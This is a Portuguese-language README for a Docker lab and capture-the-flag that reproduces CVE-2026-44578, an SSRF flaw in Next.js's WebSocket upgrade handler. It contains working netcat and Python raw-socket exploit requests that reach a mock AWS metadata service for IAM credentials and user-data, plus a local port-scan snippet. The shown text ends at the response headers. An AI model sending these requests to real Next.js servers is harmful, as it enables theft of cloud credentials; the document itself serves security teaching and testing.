CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratório)

Laboratório autocontido para reproduzir a vulnerabilidade CVE-2026-44578 (CWE-918, SSRF) em aplicações Next.js self-hosted que usam o servidor Node.js integrado.

Campo	Valor
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Tipo	SSRF (CWE-918)
Versões afetadas	Next.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4
Versões corrigidas	15.5.16 e 16.2.5
Autenticação	nenhuma
Interação do usuário	nenhuma

Topologia do laboratório

Atacante (host: 0.0.0.0)
    │  HTTP :3000 (público)
    ▼
┌──────────────────────────┐  mesmo namespace de rede  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenciais,       │
│ (servidor Node integrado)│                           │  user-data, índice) │
└──────────────────────────┘                           └─────────────────────┘

• nextjs-vuln (porta 3000): o app vulnerável, exposto em 0.0.0.0:3000.
• imds-sidecar: mock do metadata service da AWS que vive em localhost:80 dentro do namespace do container do Next.js, modelando uma instância real na nuvem. Não é alcançável a partir do host diretamente (não há porta publicada).

                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizado (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + rotas secretas
                        └── nextjs-app/             # App realista "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerável)

Por que é vulnerável

O upgrade handler de WebSocket em router-server.ts chama proxyRequest() quando o URI parseado tem parsedUrl.protocol, sem verificar os flags finished e statusCode que o handler HTTP normal sempre emitiu:

  // vulnerável (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

A rota de ataque usa uma request line com URI absoluta de barra dupla: GET http:///path. normalizeRepeatedSlashes colapsa http:/// para http:/, ficando sem hostname, e http-proxy conecta então a localhost:80 com o path intacto:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

A presença dos cabeçalhos Connection: Upgrade + Upgrade: websocket faz com que o request caia no handler de upgrade vulnerável em vez do handler HTTP com as verificações de segurança.

Subir o laboratório

docker compose up -d --build

Verificar que o app responde:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Para deixá-lo funcionando em 0.0.0.0, o mapeamento de portas em docker-compose.yml já expõe 3000:3000 em todas as interfaces.

Exploração manual

1. Usando netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Usando Python puro (stdlib, sem dependências)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Usando o PoC automatizado

python3 exploit/exploit.py 127.0.0.1 3000

CTF — captura manual do flag final

Fluxo completo 100 % manual, em 4 fases. Há 4 flags ocultos no serviço interno (localhost:80); este guia mostra o fluxo até o primeiro e deixa as rotas para encontrar o restante.

Fase 1 — Reconhecimento

# Fingerprint do servidor
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Portas abertas via socket (sem nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Não há acesso direto a 127.0.0.1:80 a partir do atacante: o único vetor é fazer com que o servidor Next.js (que vive na mesma rede que o serviço interno) peça por nós.

Fase 2 — Enumeração do metadata service via SSRF

Primeiro confirmamos o SSRF perguntando pelo índice do metadata service:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Resposta do índice → candidatos: instance-id, hostname, iam/security-credentials/, user-data (primeiro flag). O índice de latest/meta-data/ também revela sub-keys que vale a pena continuar explorando.

Fase 3 — Construção do payload (byte a byte)

GET http:///latest/user-data HTTP/1.1

Parte	Função
GET	A vuln só faz proxy de GET
http:///latest/user-data	URI absoluta. http:/// colapsa para http:/ → hostname null → o proxy conecta a localhost:80 conservando o path /latest/user-data
Host: 127.0.0.1:3000	Se não, o servidor responde 400
Connection: Upgrade + Upgrade: websocket	Desviam o request para o handler de upgrade vulnerável (o handler HTTP normal valida)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==	Cabeçalhos mínimos exigidos em um handshake legítimo

Terminação: \r\n\r\n no socket raw (sem corpo).

Fase 4 — Disparo manual e captura do flag

# Opção A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

# Opção B: socket raw em Python (mesma precisão, sem nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Saída — o primeiro flag chega no corpo da resposta do serviço interno:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14